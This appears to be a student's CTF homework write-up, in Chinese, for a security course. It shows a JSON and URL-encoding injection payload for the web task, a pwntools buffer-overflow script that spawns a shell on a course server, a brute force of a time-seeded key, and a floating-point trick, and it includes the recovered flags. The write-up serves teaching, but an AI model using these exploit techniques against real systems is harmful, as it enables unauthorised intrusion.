---
# System prepended metadata

title: HW0
tags: [資訊安全實務]

---

---
tags: 資訊安全實務
---
# HW0

## Web
這題就是要讓我們把admin跟givemeflag設成true和yes，而從下圖來看的話，能搞事的部分只有cute那部分，只要結尾的字串符合true或false就好：
![](https://i.imgur.com/7Yz4eHE.png)

從code來看，userInfo裡的資料適用json格式來存，因此要讓admin設為true很簡單只要在cute後面接東西讓admin設為true就好
* 在url後面加上**auth?username=123&cute=false,"admin":true**

解決了admin後就只剩givemeflag的部分，從code中發現他最後送給server中看起來像是將givemeflag寫死為no
* http://127.0.0.1:9487/?data=${userInfo}&givemeflag=no

這部分我們需要在userInfo這裡就將送出去的請求結束，讓後端server看不到後面的&givemeflag=no，因此我們需要使用＃來讓後端看不到後面，但givemeflag這部分是送給internal server的，並非external server，因此再送URL的時候需要騙過external server才能讓後面的server看到我想讓他看到的東西，因此需要將東西給編碼一下，編碼的部分使用了[w3schools的html url encode](https://www.w3schools.com/tags/ref_urlencode.asp)
* 將}&givemeflag=yes#true拿去編碼後得到%7D%26givemeflag%3Dyes%23true
* 將這串串接在先前發送的auth?username=123&cute=false,"admin":true後面得到
    * auth?username=123&cute=false,"admin":true%7D%26givemeflag%3Dyes%23true
* 最後成功得出flag
    * FLAG{owo_ch1wawa_15_th3_b35t_uwu!!!}

## Pwn
這題步驟大概就是找到system("bin/sh")在哪裡call，這部分我是使用radare2去找：
* 先搜尋哪個function有呼叫system
![](https://i.imgur.com/fmynnVW.png)
* 接者再進去看在哪個位置，將位置0x401195記下來
![](https://i.imgur.com/cTwI0X8.png)
* 用gdb去trace主程式的name的變數存在哪裡和return的位置
    * 再輸入name時打一堆a繼續執行後看一堆a的變數放在哪個位置
    ![](https://i.imgur.com/Px9uP4B.png)
    * 找出return的位置
    ![](https://i.imgur.com/gwsErde.png)
* 將位置都記錄下來後寫成code去執行
    ```python
    #!/usr/bin/env python3
    from pwn import *
    shell = 0x401195
    buf = 0x90
    ret = 0xa8
    r = remote("hw00.zoolab.org", 65534)
    r.send('A' * (ret - buf))
    r.sendline(p64(shell))
    r.interactive()
    ```
* 成功進入shell後，最後再找出flag
![](https://i.imgur.com/t6ax65p.png)

## Misc
這題買賣寶石不知道該怎麼寫，總之就是運用浮點數的精度(?)去搞事，大致的方向就是0.3-0.2-0.1!=0
* 先一次買進很多寶石
* 再慢慢賣掉，就會發現錢變多了...
* 接者就是慢慢去找數字就能解出來了

## Cryptography
* 這題他的key是用時間當seed的去產生的，所以只要將解密演算法寫出來在從現在的時間一直往回推找到解密出來前四個字為FLAG的明文，大概率就是這題的flag了，code如下
    ```python
    if __name__ == '__main__':
        flag = "77f905c39e36b5eb0deecbb4eb08e8cb"
        flag = bytes.fromhex(flag)
        assert len(flag) == 16
        #print(time.time())
        #print(int(time.time()))
        #1600398366
        seed = 1600398366
        while True:
            random.seed(seed)
            key = random.getrandbits(128).to_bytes(16, 'big')
            text = decrypt(flag, key)
            if (text[0:4] == b'FLAG' or text[0:4] == b'flag'):
                print(text)
                break
            seed = seed - 1
    ```
* seed初始設為1600398366是我為了加速將時間條回9/18號的11點，從那個時間開始往回跑
* 而解密的部分很簡單，只要返者做並且把原本+改成-就完成了
    ```python
    def _decrypt(vector: List[int], key: List[int]):
        i, delta, mask = 0, 0xFACEB00C, 0xffffffff
        i = delta * 32 & mask
        for counts in range(32):
            vector[1] = vector[1] - ((vector[0] << 4) + key[2] & mask ^ (vector[0] + i) & mask ^ (vector[0] >> 5) + key[3] & mask) & mask
            vector[0] = vector[0] - ((vector[1] << 4) + key[0] & mask ^ (vector[1] + i) & mask ^ (vector[1] >> 5) + key[1] & mask) & mask
            i = i - delta & mask
        return vector
    ```
    
## Reversing Engineering
* 這題是最簡單的，用dnspy打開後可以發現
![](https://i.imgur.com/z3Co5wC.png)
* 將這兩行刪掉，執行後往左移再往右移觸發check後就找到flag了，但這樣的話不能直接複製flag所以我又額外加了這行將flag寫出來：
![](https://i.imgur.com/zhWICAe.png)

